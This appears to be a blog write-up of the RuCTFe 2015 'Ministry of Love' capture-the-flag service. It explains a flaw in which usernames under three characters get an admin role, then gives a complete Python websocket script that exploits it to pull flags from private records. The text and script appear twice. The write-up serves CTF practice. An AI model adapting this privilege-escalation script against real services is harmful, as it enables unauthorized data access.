RuCTFe 2015: Ministry of Love (mol) write-up
This years RuCTFe 2015 consists of many cool challenges. One of these was the "Ministry of Love" (mol) challenge.
It was a python services that ... I do not know what it does. But it does not matter. You use this service via a web interface. Once you visit the site, a Websocket is opened to the server. Then you register/login there and you have a stateful connection (no cookies or what so ever). When you surf around the webinterface, you notice that sometimes "crimes" are reported. Some of these crimes are marked as private and you can not look them up. These are the interesting ones. The description field of these crimes contain the flag.
So, how can we reach them? Well, first you have to register an account to use the web interface. The function that does this is obviously named "register()". When you go through this function you will see this line:
user['role'] = len(user['username']) < 3
And yes. This does exactly what it looks like. The role of the user is set to some kind of admin role if the length is lower than 3. So, let us exploit it. A simple exploit script that uses the websocket-client of python looks like this:
#!/usr/bin/python
import websocket
import os
import sys
import json
import re
usernames = ["fx", "ab", "cd", "bf"]
password = "sdfsdfsfdasfdaklsdajklfhjk"
_DEBUG = True
def create_connection():
for i in range(len(usernames)):
host = sys.argv[1]
team_id = host.split(".")[2]
connection = websocket.create_connection(
"ws://mol.team" + team_id + ".e.ructf.org:80/websocket")
register_msg = json.dumps({"action": "register",
"params": {
"username": usernames[i],
"password": password
}})
connection.send(register_msg)
response = json.loads(connection.recv())
auth_msg = json.dumps({"action": "auth",
"params": {
"username": usernames[i],
"password": password
}})
connection.send(auth_msg)
response = json.loads(connection.recv())
if response["type"] == "default alert alert-success":
return connection
else:
continue
return None
if _DEBUG: print "Connect to server"
connection = create_connection()
if connection is None:
print "Could not login to service"
sys.exit(1)
if _DEBUG: print "Connecting successful"
# ignore first response
response = json.loads(connection.recv())
# get private crimes
crimes_msg = json.dumps({"action": "show_crimes",
"params": {
"offset": 0
}})
connection.send(crimes_msg)
response = json.loads(connection.recv())
private_crime_ids = list()
for row in response["rows"]:
if "data" in row.keys():
for data_set in row["data"]:
if data_set["public"] != "":
private_crime_ids.append(data_set["crimeid"])
if len(private_crime_ids) == 0:
print "No private crime ids"
sys.exit(1)
for private_crime_id in private_crime_ids:
if _DEBUG: print "Get crime id " + str(private_crime_id)
crime_msg = json.dumps({"action": "show_crime",
"params": {
"crimeid": private_crime_id
}})
connection.send(crime_msg)
response = json.loads(connection.recv())
if ("type" in response.keys() and
response["type"] == "default alert alert-danger"):
if _DEBUG: print "Not able to get private crime"
continue
if not "rows" in response.keys():
if _DEBUG:
print "No rows"
print response
continue
for row in response["rows"]:
if "data" in row.keys():
r = re.search("\w{31}=", row["data"]["description"])
if r:
print r.group(0)
And that's all. I am certain that there are more vulnerabilities in this service but because this time our team did not have so many players, I went on to the next service and never came back
It was a python services that ... I do not know what it does. But it does not matter. You use this service via a web interface. Once you visit the site, a Websocket is opened to the server. Then you register/login there and you have a stateful connection (no cookies or what so ever). When you surf around the webinterface, you notice that sometimes "crimes" are reported. Some of these crimes are marked as private and you can not look them up. These are the interesting ones. The description field of these crimes contain the flag.
So, how can we reach them? Well, first you have to register an account to use the web interface. The function that does this is obviously named "register()". When you go through this function you will see this line:
user['role'] = len(user['username']) < 3
And yes. This does exactly what it looks like. The role of the user is set to some kind of admin role if the length is lower than 3. So, let us exploit it. A simple exploit script that uses the websocket-client of python looks like this:
#!/usr/bin/python
import websocket
import os
import sys
import json
import re
usernames = ["fx", "ab", "cd", "bf"]
password = "sdfsdfsfdasfdaklsdajklfhjk"
_DEBUG = True
def create_connection():
for i in range(len(usernames)):
host = sys.argv[1]
team_id = host.split(".")[2]
connection = websocket.create_connection(
"ws://mol.team" + team_id + ".e.ructf.org:80/websocket")
register_msg = json.dumps({"action": "register",
"params": {
"username": usernames[i],
"password": password
}})
connection.send(register_msg)
response = json.loads(connection.recv())
auth_msg = json.dumps({"action": "auth",
"params": {
"username": usernames[i],
"password": password
}})
connection.send(auth_msg)
response = json.loads(connection.recv())
if response["type"] == "default alert alert-success":
return connection
else:
continue
return None
if _DEBUG: print "Connect to server"
connection = create_connection()
if connection is None:
print "Could not login to service"
sys.exit(1)
if _DEBUG: print "Connecting successful"
# ignore first response
response = json.loads(connection.recv())
# get private crimes
crimes_msg = json.dumps({"action": "show_crimes",
"params": {
"offset": 0
}})
connection.send(crimes_msg)
response = json.loads(connection.recv())
private_crime_ids = list()
for row in response["rows"]:
if "data" in row.keys():
for data_set in row["data"]:
if data_set["public"] != "":
private_crime_ids.append(data_set["crimeid"])
if len(private_crime_ids) == 0:
print "No private crime ids"
sys.exit(1)
for private_crime_id in private_crime_ids:
if _DEBUG: print "Get crime id " + str(private_crime_id)
crime_msg = json.dumps({"action": "show_crime",
"params": {
"crimeid": private_crime_id
}})
connection.send(crime_msg)
response = json.loads(connection.recv())
if ("type" in response.keys() and
response["type"] == "default alert alert-danger"):
if _DEBUG: print "Not able to get private crime"
continue
if not "rows" in response.keys():
if _DEBUG:
print "No rows"
print response
continue
for row in response["rows"]:
if "data" in row.keys():
r = re.search("\w{31}=", row["data"]["description"])
if r:
print r.group(0)
And that's all. I am certain that there are more vulnerabilities in this service but because this time our team did not have so many players, I went on to the next service and never came back

Trackbacks
The author does not allow comments to this entry
Comments
Display comments as Linear | Threaded